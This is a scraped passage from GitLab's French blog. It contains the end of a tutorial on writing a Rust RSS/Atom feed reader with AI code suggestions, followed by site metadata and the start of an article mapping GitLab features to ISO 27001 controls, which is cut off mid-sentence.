{\n                println!(\"{} is an RSS2 feed\", thread_name);\n            } else if feed.feed_type == feed_rs::model::FeedType::Atom {\n                println!(\"{} is an Atom feed\", thread_name);\n            }\n```\n\nExécutez le programme et vérifiez les données de sortie.\n\n```\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\nCNCF is an RSS2 feed\nTechCrunch is an RSS2 feed\nGitLab Blog is an Atom feed\nHacker News is an RSS2 feed\n```\n\nPour cela, ouvrez les URL des flux dans le navigateur ou en inspectant les fichiers téléchargés.\n\nHacker News utilise RSS 2.0, avec `channel(title,link,description,item(title,link,pubDate,comments))`. TechCrunch et le blog de la CNCF ont une structure similaire.\n```xml\n\u003Crss version=\"2.0\">\u003Cchannel>\u003Ctitle>Hacker News\u003C/title>\u003Clink>https://news.ycombinator.com/\u003C/link>\u003Cdescription>Links for the intellectually curious, ranked by readers.\u003C/description>\u003Citem>\u003Ctitle>Writing a debugger from scratch: Breakpoints\u003C/title>\u003Clink>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/\u003C/link>\u003CpubDate>Wed, 27 Sep 2023 06:31:25 +0000\u003C/pubDate>\u003Ccomments>https://news.ycombinator.com/item?id=37670938\u003C/comments>\u003Cdescription>\u003C![CDATA[\u003Ca href=\"https://news.ycombinator.com/item?id=37670938\">Comments\u003C/a>]]>\u003C/description>\u003C/item>\u003Citem>\n```\n\nLe blog de GitLab utilise le format de flux [Atom](https://datatracker.ietf.org/doc/html/rfc4287), similaire à RSS, mais nécessitant une logique d'analyse différente.\n```xml\n\u003C?xml version='1.0' encoding='utf-8' ?>\n\u003Cfeed xmlns='http://www.w3.org/2005/Atom'>\n\u003C!-- / Get release posts -->\n\u003C!-- / Get blog posts -->\n\u003Ctitle>GitLab\u003C/title>\n\u003Cid>https://about.gitlab.com/blog\u003C/id>\n\u003Clink href='https://about.gitlab.com/blog/' />\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>The GitLab Team\u003C/name>\n\u003C/author>\n\u003Centry>\n\u003Ctitle>Atlassian Server ending: Goodbye disjointed toolchain, hello DevSecOps platform\u003C/title>\n\u003Clink href='https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/' rel='alternate' />\n\u003Cid>https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/\u003C/id>\n\u003Cpublished>2023-09-26T00:00:00+00:00\u003C/published>\n\u003Cupdated>2023-09-26T00:00:00+00:00\u003C/updated>\n\u003Cauthor>\n\u003Cname>Dave Steer, Justin Farris\u003C/name>\n\u003C/author>\n```\n\n### Cartographie des types de données de flux génériques\nPour utiliser la fonction [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html) vous devez comprendre l'arborescence des nœuds XML et ses noms de balise. Heureusement, [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) gère à la fois les flux RSS et Atom. Nous pouvons donc continuer avec la crate `feed_rs`.\n\n1. Atom : Feed->Feed, Entry->Entry\n2. RSS : Channel->Feed, Item->Entry\n\nNous devons extraire les attributs requis et associer leurs types de données. Consultez la [documentation feed_rs::model](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) pour comprendre les structures, leurs champs et implémentations. Cela évitera les erreurs de conversion et les échecs de compilation, spécifiques à l'implémentation de `feed_rs`.\n\nLa structure [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html) fournit un `title` de type `Option\u003CText>` (avec une valeur ou vide). La structure [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html) fournit les éléments suivants :\n\n1. `title` : `Option\u003CText>` avec [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) et le champ `content` comme la `String`.\n2. `updated` : `Option\u003CDateTime\u003CUtc>>` avec [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) avec la [méthode `format()`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).\n3. `summary` : `Option\u003CText>` [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) et le champ `content` comme la `String`.\n4. `links` : `Vec\u003CLink>`, vecteur avec les éléments [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html). L'attribut `href` fournit la chaîne d'URL brute.\n\nUtilisez ces connaissances pour extraire les données des intrants de flux. Appelez `unwrap()` sur tous les types `Option` et ajoutez des instructions explicites aux suggestions de code.\n\n```rust\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html\n                // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html\n                // Loop over all entries, and print\n                // title.unwrap().content\n                // published.unwrap().format\n                // summary.unwrap().content\n                // links href as joined string\n                for entry in feed.entries {\n                    println!(\"Title: {}\", entry.title.unwrap().content);\n                    println!(\"Published: {}\", entry.published.unwrap().format(\"%Y-%m-%d %H:%M:%S\"));\n                    println!(\"Summary: {}\", entry.summary.unwrap().content);\n                    println!(\"Links: {:?}\", entry.links.iter().map(|link| link.href.clone()).collect::\u003CVec\u003CString>>().join(\", \"));\n                    println!();\n                }\n```\n\n![Suggestions de code pour afficher les types d'éléments de flux, avec des exigences spécifiques](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){: .shadow}\n\n### Gestion des erreurs avec l'Option unwrap()\nCompilez, exécutez le programme, puis continuez avec des instructions multilignes. Remarque : `unwrap()` appelle la macro `panic!` et bloque le programme si des valeurs sont vides, comme un champ `summary` non défini dans les données du flux.\n\n```shell\nGitLab Blog is an Atom feed\nTitle: How the Colmena project uses GitLab to support citizen journalists\nPublished: 2023-09-27 00:00:00\nthread '\u003Cunnamed>' panicked at 'called `Option::unwrap()` on a `None` value', src/feed_reader.rs:40:59\n```\n\nUtilisez [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else) pour définir une chaîne vide comme valeur par défaut. La syntaxe nécessite une fermeture qui renvoie une instanciation de structure `Text` vide.\n\nJ'ai dû m'y reprendre à plusieurs fois pour trouver l'initialisation correcte permettant de résoudre le problème, car le passage d'une chaîne vide ne fonctionne pas avec les types personnalisés. Je vais vous montrer mes tentatives et recherches.\n\n```rust\n// Problem: The `summary` attribute is not always initialized. unwrap() will panic! then.\n// Requires use mime; and use feed_rs::model::Text;\n/*\n// 1st attempt: Use unwrap() to extraxt Text from Option\u003CText> type.\nprintln!(\"Summary: {}\", entry.summary.unwrap().content);\n// 2nd attempt. Learned about unwrap_or_else, passing an empty string.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| \"\").content);\n// 3rd attempt. summary is of the Text type, pass a new struct instantiation.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{}).content);\n// 4th attempt. Struct instantiation requires 3 field values.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{\"\", \"\", \"\"}).content);\n// 5th attempt. Struct instantation with public fields requires key: value syntax\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: \"\", src: \"\", content: \"\"}).content);\n// 6th attempt. Reviewed expected Text types in https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created Mime and String objects\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);\n// 7th attempt: String and Option\u003CString> cannot be casted automagically. Compiler suggested using `Option::Some()`.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);\n*/\n\n// xth attempt: Solution. Option::Some() requires a new String object.\nprintln!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n```\n\nCette approche n'était pas satisfaisante, car la ligne de code était difficile à lire et nécessitait une retouche manuelle sans suggestions de code. Puis, j'ai trouvé où se nichait le problème : si `Option` a la valeur `none`, `unwrap()` génère une erreur. J'ai demandé aux suggestions de code s’il existe une méthode plus simple, avec ce nouveau commentaire :\n\n```\n                // xth attempt: Solution. Option::Some() requires a new String object.\n                println!(\"Summary: {}\", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);\n\n                // Alternatively, use Option.is_none()\n```\n\n![Demande aux suggestions de code d'une alternative pour Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){: .shadow}\n\nCette méthode améliore la lisibilité, moins de cycles CPU sont gaspillés sur `unwrap()` et la courbe d'apprentissage est excellente, de la résolution d'un problème complexe à l'utilisation d'une solution standard. Gagnant-gagnant.\n\nAjoutez le stockage des données XML sur le disque pour finaliser l'application de lecteur de flux.\n\n```rust\n                // Dump the parsed body to a file, as name-current-iso-date.xml\n                let file_name = format!(\"{}-{}.xml\", thread_name, chrono::Local::now().format(\"%Y-%m-%d-%H-%M-%S\"));\n                let mut file = std::fs::File::create(file_name).unwrap();\n                file.write_all(body.as_ref()).unwrap();\n```\n\nCompilez et exécutez le programme pour vérifier les données de sortie.\n\n```shell\ncargo build\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Terminal VS Code, exécution de Cargo avec des données de sortie d'intrants au format requis](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)\n\n## Benchmarks\n\n### Exécution séquentielle vs parallèle\nComparez les temps d'exécution du code en créant cinq échantillons pour chaque type d'exécution.\n\n1. Exécution séquentielle. [Exemple de code source de la MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/1)\n2. Exécution parallèle. [Exemple de code source de la MR](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader/-/merge_requests/3)\n\n```shell\n# Sequential\ngit checkout sequential-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.21s user 0.08s system 10% cpu 2.898 total\n0.21s user 0.08s system 11% cpu 2.585 total\n0.21s user 0.09s system 10% cpu 2.946 total\n0.19s user 0.08s system 10% cpu 2.714 total\n0.20s user 0.10s system 10% cpu 2.808 total\n```\n\n```shell\n# Parallel\ngit checkout parallel-exec\n\ntime cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n\n0.19s user 0.08s system 17% cpu 1.515 total\n0.18s user 0.08s system 16% cpu 1.561 total\n0.18s user 0.07s system 17% cpu 1.414 total\n0.19s user 0.08s system 18% cpu 1.447 total\n0.17s user 0.08s system 16% cpu 1.453 total\n```\nAvec quatre threads RSS en parallèle, le temps total est presque réduit de moitié, mais le CPU est plus sollicité. Optimisons le code et les fonctionnalités.\n\nActuellement, nous utilisons la version de débogage Cargo, mais pas encore les versions optimisées. L'exécution parallèle a ses limites : les points de terminaison HTTP peuvent atteindre leur débit maximum, et \n\nchaque thread nécessite un changement de contexte dans le noyau, consommant des ressources. Lorsqu'un thread reçoit des ressources de calcul, d'autres sont mis en veille. Un trop grand nombre de threads peut ralentir le système. Pour éviter cela, utilisez des design patterns comme les [files d'attente de travail](https://docs.rs/work-queue/latest/work_queue/). Un pool de threads récupère cette tâche pour une exécution asynchrone.\n\nRust garantir la synchronisation des données entre les threads à l'aide des [canaux](https://doc.rust-lang.org/rust-by-example/std_misc/channels.html). Pour garantir un accès simultané aux données, des [mutexes (exclusions mutuelles)](https://doc.rust-lang.org/std/sync/struct.Mutex.html) fournissent des verrous sûrs.\n\n### CI/CD avec mise en cache Rust\nAjoutez la configuration CI/CD suivante dans le fichier `.gitlab-ci.yml`. Le job `run-latest` appelle `cargo run` avec des exemples d'URL de flux RSS et mesure le temps d'exécution en continu.\n\n```\nstages:\n  - build\n  - test\n  - run\n\ndefault:\n  image: rust:latest\n  cache:\n    key: ${CI_COMMIT_REF_SLUG}\n    paths:\n      - .cargo/bin\n      - .cargo/registry/index\n      - .cargo/registry/cache\n      - target/debug/deps\n      - target/debug/build\n    policy: pull-push\n\n# Cargo data needs to be in the project directory for being cached.\nvariables:\n  CARGO_HOME: ${CI_PROJECT_DIR}/.cargo\n\nbuild-latest:\n  stage: build\n  script:\n    - cargo build --verbose\n\ntest-latest:\n  stage: build\n  script:\n    - cargo test --verbose\n\nrun-latest:\n  stage: run\n  script:\n    - time cargo run -- \"GitLab Blog,https://about.gitlab.com/atom.xml\" \"CNCF,https://www.cncf.io/feed/\"\n```\n\n![Pipelines GitLab CI/CD pour Rust, données de sortie de l'exécution Cargo](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/gitlab_cicd_pipeline_rust_cargo_run_output.png){: .shadow}\n\n## Étapes suivantes\nRédiger cet article a été un défi pour maîtriser les techniques avancées de Rust et optimiser les suggestions de code. Ces dernières sont très utiles pour générer rapidement du code, avec le contexte local et pour ajuster l'algorithme à mesure que vous écrivez le code. Dans cet article, j'ai partagé les défis et les solutions. L'exemple de code pour l'application de lecture est disponible dans [le projet learn-rust-ai-app-reader](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader).\n\nL'analyse des flux RSS étant complexe, elle nécessite des structures de données, des requêtes HTTP externes et des optimisations parallèles. Alors, `pourquoi ne pas utiliser la crate std::rss` -- pour une exécution asynchrone avancée. Cela ne démontre pas toutes les fonctionnalités de Rust abordées dans cet article, mais vous pouvez essayer de réécrire le code avec la [crate `rss`](https://docs.rs/rss/latest/rss/) pour pratiquer l'exécution asynchrone.\n\n### Exercices d'apprentissage de l'exécution asynchrone\nCet article pose les bases pour explorer le stockage persistant et la présentation des données. Pour vous perfectionner votre application en Rust, voici quelques idées :\n\n1. Stockage des données : utilisez une base de données comme sqlite et suivez les mises à jour des flux RSS.\n2. Notifications : déclenchez des notifications dans Telegram, ou autres.\n3. Fonctionnalités : étendez les types de lecteurs aux [API REST](https://about.gitlab.com/fr-fr/blog/what-is-rest-api/ \"API REST\")\n4. Configuration : intégrez des fichiers de configuration pour les flux RSS, les API, etc.\n5. Efficacité : ajoutez des filtres et des balises d'abonnement.\n6. Déploiement : utilisez un serveur Web, collectez les indicateurs avec Prometheus et déployez sur Kubernetes.\n\nNous aborderons certains de ces sujets dans un prochain article. En attendant, essayez d'implémenter des flux RSS existants et explorez d'autres bibliothèques Rust (`crates`).\n\n### Votre retour d'expérience\nLorsque vous utilisez les suggestions de code de [GitLab Duo](/gitlab-duo/), n'hésitez pas à [partager vos retours dans le ticket prévu à cet effet](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n",[784,3080,1069,853,699],"careers","2025-01-27",{"slug":3083,"featured":6,"template":683},"learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions","content:fr-fr:blog:learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","Learn Advanced Rust Programming With A Little Help From Ai Code Suggestions","fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml","fr-fr/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions",{"_path":3089,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3090,"content":3096,"config":3102,"_id":3104,"_type":16,"title":3105,"_source":17,"_file":3106,"_stem":3107,"_extension":20},"/fr-fr/blog/how-gitlab-can-support-your-iso-compliance-journey",{"title":3091,"description":3092,"ogTitle":3091,"ogDescription":3092,"noIndex":6,"ogImage":3093,"ogUrl":3094,"ogSiteName":841,"ogType":842,"canonicalUrls":3094,"schema":3095},"ISO 27001: comment GitLab vous assiste dans votre démarche de conformité ","Les fonctionnalités de sécurité logicielle de GitLab peuvent vous aider à vous conformer à la norme ISO 27001.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662877/Blog/Hero%20Images/security-cover-new.png","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ISO 27001: comment GitLab vous assiste dans votre démarche de conformité \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-06\",\n      }",{"title":3091,"description":3092,"authors":3097,"heroImage":3093,"date":3098,"body":3099,"category":673,"tags":3100,"updatedDate":3101},[2491],"2023-09-06","En tant que plateforme unique et complète, GitLab vous permet de gérer votre cycle de vie DevSecOps facilement. En effet, la plateforme GitLab permet aux développeurs de créer des logiciels de qualité plus rapidement, mais son efficacité s'étend toutefois au-delà du DevSecOps.\n\nEn octobre 2022, l'Organisation internationale de normalisation a publié la dernière édition de la norme ISO 27001. Cette norme ISO/IEC 27001:2022 comprend plusieurs modifications par rapport à sa version précédente, dont l'ajout de contrôles dans l'annexe A. Ceux-ci sont axés sur le codage sécurisé et la gestion de la configuration.\n\nChez GitLab, nous utilisons notre plateforme pour prendre en charge de nombreux aspects de notre programme de conformité en matière de sécurité : un concept que nous appelons en interne le [dogfooding](https://about.gitlab.com/direction/dogfooding/). Vous trouverez un aperçu des accréditations de conformité et d'assurance que nous conservons sur notre page dédiée au [Centre de gestion et protection des données](https://about.gitlab.com/security/).\n\nVoyons à présent les principales fonctions à votre disposition pour vous conformer à la norme ISO 27001.\n\n## Contrôles organisationnels\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 5.3 Séparation des tâches | Les tâches et les domaines de responsabilité incompatibles doivent être séparés. |\n| 5.15 Contrôle d'accès | Des règles visant à contrôler l'accès physique et logique aux informations et autres actifs associés en fonction des exigences métier et de sécurité de l'information doivent être définies et mises en œuvre. |\n| 5.16 Gestion des identités | Le cycle de vie complet des identités doit être géré. |\n| 8.2 Droits d'accès privilégiés | L'attribution et l'utilisation des droits d'accès privilégiés doivent être limitées et gérées.|\n| 8.4 Accès aux codes source | L'accès en lecture et en écriture au code source, aux outils de développement et aux bibliothèques de logiciels doit être géré de manière appropriée. |\n\nAvec GitLab, vous pouvez [attribuer un rôle aux utilisateurs](https://docs.gitlab.com/ee/user/permissions.html) lorsque vous les ajoutez à un projet ou à un groupe. Le rôle d'un utilisateur détermine les actions qu'il peut effectuer dans votre instance GitLab. Vous pouvez assigner les rôles suivants :\n* Invité (projets privés et internes uniquement)\n* Rapporteur\n* Développeur\n* Chargé de maintenance\n* Propriétaire\n* Accès minimal (disponible uniquement pour le groupe principal)\n\nLes rôles de GitLab vous permettent de limiter les autorisations d'un utilisateur, conformément au [principe de moindre privilège](https://csrc.nist.gov/glossary/term/least_privilege), ainsi qu'à vos exigences en matière de sécurité de l'information et de l’entreprise. \n\nGitLab vous permet également de centraliser les responsabilités d'authentification et d'autorisation pour votre instance GitLab via des intégrations d'[authentification unique basée sur le protocole SAML](https://docs.gitlab.com/ee/user/group/saml_sso/). GitLab intègre un large éventail de fournisseurs d'identité pour prendre en charge les diverses piles technologiques de notre clientèle. De plus, GitLab prend en charge le System for Cross-domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Ainsi, grâce aux intégrations SSO et SCIM de GitLab, vous pouvez automatiser le cycle de vie de vos identités d'utilisateur de manière sécurisée et efficace.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) et [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) sont également disponibles pour les clients utilisant GitLab Auto-géré.\n\n**Note :** les contrôles technologiques des points 8.2 et 8.4 de l'annexe A ont été inclus dans le tableau ci-dessus en raison de leur proximité avec les contrôles organisationnels des points 5.3, 5.15 et 5.16. Vous pouvez recourir aux mêmes fonctionnalités de GitLab pour répondre à ces différentes exigences de contrôle.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 5.8 Sécurité de l'information dans la gestion de projet | La sécurité de l'information doit être intégrée dans la gestion de projet. |\n\nSoutenez vos efforts de gestion de projet et de contrôle sur la sécurité de l'information dans toutes les phases du cycle de vie d'un projet grâce à nos [outils de planification](https://about.gitlab.com/features/?stage=plan).\n\n- Les fonctionnalités de [planification d'équipe](https://about.gitlab.com/features/?stage=plan#team_planning) de GitLab permettent aux utilisateurs d'organiser et de planifier les différentes étapes d'un projet et d’en suivre son avancement, de l'idée à la production.\n\n- Vous pouvez échanger sur vos idées, résoudre des problèmes et planifier vos tâches avec l'équipe de sécurité de l'information grâce aux [epics](https://docs.gitlab.com/ee/user/group/epics/), [tickets](https://docs.gitlab.com/ee/user/project/issues/) et [tâches](https://docs.gitlab.com/ee/user/tasks.html). Les [modèles de description](https://docs.gitlab.com/ee/user/project/description_templates.html) et les [check-lists](https://docs.gitlab.com/ee/user/markdown.html#task-lists) permettent aux utilisateurs d'appliquer systématiquement une description et un workflow aux tickets ou aux [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). Ces modèles permettent une approche structurée de l'intégration de la sécurité de l'information dans votre cycle de vie de gestion de projet.\n\n- Les [labels](https://docs.gitlab.com/ee/user/project/labels.html) permettent aux utilisateurs d'organiser les tickets en fonction de leurs besoins. Pour assurer le maintien de la sécurité de l'information, utilisez les labels afin d'identifier le niveau de risque associé à un projet, l'étape à laquelle il se trouve, ou encore l'équipe de sécurité de l'information responsable d'un ensemble de tâches. Vous pouvez également profiter des [labels à portée limitée](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) (ou Scoped labels) pour ajouter une logique supplémentaire aux workflows en empêchant l'utilisation simultanée de certains labels. Chez GitLab, nous utilisons les [labels à portée limitée](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) pour identifier les équipes auxquelles sont attribuées les tâches, l'étape du projet dans laquelle elles se trouvent, et le produit ou l'ensemble de fonctionnalités qui leur sont associés.\n\n![Scoped Labels](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nLabels à portée limitée\n\n- Vous pouvez organiser davantage votre travail et obtenir une vue d'ensemble de toutes les tâches associées à un groupe ou à un projet grâce aux tableaux des tickets du [groupe](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) et du [projet](https://about.gitlab.com/stages-devops-lifecycle/issueboard/).\n\n## Contrôles technologiques\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.8 Gestion des vulnérabilités techniques | Des informations sur les vulnérabilités techniques des systèmes d'information utilisés doivent être obtenues, l'exposition de l'organisme à ces vulnérabilités doit être évaluée et des mesures appropriées doivent être prises. |\n| 8.9 Gestion des configurations | Les configurations, y compris les configurations de sécurité, du matériel, des logiciels, des services et des réseaux, doivent être définies, documentées, mises en œuvre, surveillées et révisées. |\n| 8.25 Cycle de développement sécurisé | Des règles pour le développement sécurisé des logiciels et des systèmes doivent être établies et appliquées. |\n| 8.26 Exigences de sécurité des applications | Les exigences en matière de sécurité de l'information doivent être identifiées, spécifiées et approuvées lors du développement ou de l'acquisition d'applications. |\n| 8.27 Principes d'ingénierie et d'architecture des systèmes sécurisés | Des principes d'ingénierie des systèmes sécurisés doivent être établis, documentés, tenus à jour et appliqués à toutes les activités de développement de systèmes d'information. |\n\nAvec GitLab, vous pouvez stocker vos configurations matérielles et logicielles, maintenir le contrôle de version, mettre à jour vos configurations via des [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html) et recourir aux [pipelines CI/CD](https://docs.gitlab.com/ee/ci/pipelines/) de GitLab pour pousser ces configurations vers vos applications et votre infrastructure. GitLab permet également aux entreprises d’adopter une approche [GitOps](https://about.gitlab.com/topics/gitops/) via une plateforme unique.\n\nLa fonctionnalité [d'analyse de l'infrastructure en tant que code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) de GitLab vous permet d'analyser vos fichiers de configuration IaC à la recherche de vulnérabilités connues. L'analyse IaC de GitLab prend en charge une variété de fichiers et de langues de configuration IaC, ce qui la rend adaptable à différentes piles technologiques.\n\nGitLab permet aux professionnels de la conformité de mettre en œuvre l'automatisation via des [frameworks de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) et des [pipelines de conformité](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). Ces fonctionnalités permettent aux utilisateurs d'identifier les projets critiques qui possèdent certaines exigences de conformité et d'y pousser des configurations via des pipelines. Elles permettent également une application uniforme des contrôles, soutenant ainsi votre posture de sécurité et facilitant le respect des exigences de conformité internes et externes de votre entreprise.\n\nPour les clients [Ultimate](https://about.gitlab.com/pricing/ultimate/), le [Centre de conformité](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) de GitLab fournit une vue centralisée de la posture de conformité d'un groupe en mettant par exemple en évidence les différents frameworks de conformité appliqués aux projets du groupe. Vous pouvez même évaluer votre degré de conformité à la [norme GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard).\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.15 Journalisation | Les journaux qui enregistrent les activités, les exceptions, les défaillances et autres événements pertinents doivent être générés, stockés, protégés et analysés. |\n| 8.16 Activités de surveillance | Les réseaux, systèmes et applications doivent être surveillés pour détecter les comportements anormaux et des mesures appropriées doivent être prises pour évaluer les éventuels incidents en matière de sécurité de l'information. |\n\nDans GitLab, vous pouvez utiliser les [événements d'audit](https://docs.gitlab.com/ee/administration/audit_events.html) pour suivre les événements importants, y compris l'auteur de chaque action et sa date d'exécution. Les événements d'audit couvrent un large éventail de catégories, notamment :\n* Gestion des groupes\n* Authentification et autorisation\n* Gestion des utilisateurs\n* Conformité et sécurité\n* CI/CD\n* GitLab Runners\n\n![Événements d'audit](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExemple d'événement d'audit\n{: .note.text-center}\n\nLe [streaming d'événements d'audit](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) est disponible pour les clients [Ultimate](https://about.gitlab.com/pricing/ultimate/). Le streaming d'événements d'audit permet aux utilisateurs de définir une destination de streaming pour un groupe principal ou une instance principale afin de recevoir tous les événements d'audit du groupe, des sous-groupes et des projets sous forme de document JSON structuré.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.28 Codage sécurisé | Des principes de codage sécurisé doivent être appliqués au développement de logiciels. |\n| 8.29 Tests de sécurité dans le développement et l'acceptation | Des processus pour les tests de sécurité doivent être définis et mis en œuvre au cours du cycle de développement. | \n\nVous pouvez optimiser votre cycle de développement logiciel et améliorer la sécurité de vos produits grâce aux fonctionnalités de la phase de [sécurisation](https://about.gitlab.com/features/?stage=secure) de GitLab. Les fonctionnalités de cette phase comprennent :\n* [Des tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Des tests dynamiques de sécurité des applications (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [La qualité du code](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [L'analyse des conteneurs](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [L'analyse des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nEt bien plus encore !\n\n![Découvertes relatives à la qualité du code](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nDécouvertes relatives à la qualité du code\n{: .note.text-center}\n\nLes fuites de secrets sont à l'origine de nombreuses failles de sécurité. La [détection des secrets](https://docs.gitlab.com/ee/user/application_security/secret_detection/) de GitLab analyse votre dépôt pour empêcher l'exposition de vos secrets.\n\nLa fonctionnalité [Stratégies](https://docs.gitlab.com/ee/user/application_security/policies/) de GitLab permet aux utilisateurs d'implémenter des stratégies d'[exécution d'analyse](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) et de [résultat d'analyse](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) basées sur une logique configurée. Ces stratégies combinent les capacités d'analyse de la phase de [sécurisation](https://about.gitlab.com/features/?stage=secure) avec les [approbations des merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) pour répondre davantage aux exigences de conformité.\n\nUne fois réunies, ces fonctionnalités établissent les bases d'un programme de cycle de vie de développement logiciel sécurisé et vous permettent d'implémenter des principes de codage sécurisé conformément aux exigences de votre entreprise.\n\n\u003Cbr>\n\n| ID de contrôle | Description du contrôle |\n| ---- | ---- |\n| 8.32 Gestion des changements | Les changements apportés aux moyens de traitement de l'information et aux systèmes d'information doivent être soumis à des procédures de gestion des modifications. |\n\nGitLab offre de nombreuses fonctionnalités permettant de prendre en charge un programme complet de gestion des modifications.\n\nLes fonctionnalités de gestion du code source de GitLab permettent aux utilisateurs de créer des [branches protégées](https://docs.gitlab.com/ee/user/project/protected_branches.html). Elles permettent aux utilisateurs de GitLab d'imposer des restrictions à certaines branches considérées comme essentielles à leurs opérations. Une branche protégée permet de contrôler :\n* quels utilisateurs peuvent fusionner dans la branche\n* quels utilisateurs peuvent effectuer un push vers la branche\n* si les utilisateurs peuvent forcer un push vers la branche\n* si les modifications apportées aux fichiers répertoriés dans le fichier CODEOWNERS peuvent faire l’objet d’un push directement vers la branche\n* quels utilisateurs peuvent retirer la protection de la branche\n\nLa [branche par 